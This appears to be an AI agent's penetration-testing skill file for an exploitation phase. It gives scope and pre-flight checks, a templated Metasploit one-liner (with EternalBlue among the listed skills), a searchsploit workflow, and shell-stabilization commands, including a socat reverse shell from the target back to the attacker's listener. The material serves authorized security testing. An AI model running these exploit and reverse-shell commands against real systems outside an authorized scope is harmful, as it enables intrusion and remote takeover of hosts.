exploit

Cybersecurity Skills (Invoke First)

Before running any exploits, invoke these skills via the Skill tool:

• cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework
• cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability
• cybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit

Scope Enforcement

CRITICAL: Read scope.txt FIRST. Confirm target is listed. Confirm recon_summary.md exists — exploitation requires completed recon. Document minimum footprint: what is the smallest action to achieve the objective?

Pre-Flight Checklist (Complete Before ANY Exploit Attempt)

1. Target is in scope.txt
2. recon_summary.md exists for target
3. CVE/vulnerability identified and confirmed (version match)
4. Exploit reliability assessed (weaponized / functional / theoretical)
5. LHOST=$LHOST and LPORT=$LPORT set in environment
6. Listener ready or will be started by exploit module
7. Evidence directory created: mkdir -p evidence/$(date +%Y%m%d)/$TARGET/

Metasploit One-Liner Pattern

msfconsole -q -x "
use $MODULE;
set RHOSTS $TARGET;
set RPORT $PORT;
set LHOST $LHOST;
set LPORT $LPORT;
set PAYLOAD $PAYLOAD;
set ExitOnSession false;
run -j;
exit
"

SearchSploit Workflow

# Search by service/version
searchsploit "$SERVICE $VERSION" --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
    print(f\"[{e['EDB-ID']}] {e['Title']}\")
    print(f\"  Path: {e['Path']}\")
    print()
"

# Copy exploit to local directory
searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/

Shell Stabilization

# After getting a dumb shell, stabilize with Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR
python -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm

# Socat full TTY (if socat available on target)
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
# Target:   socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT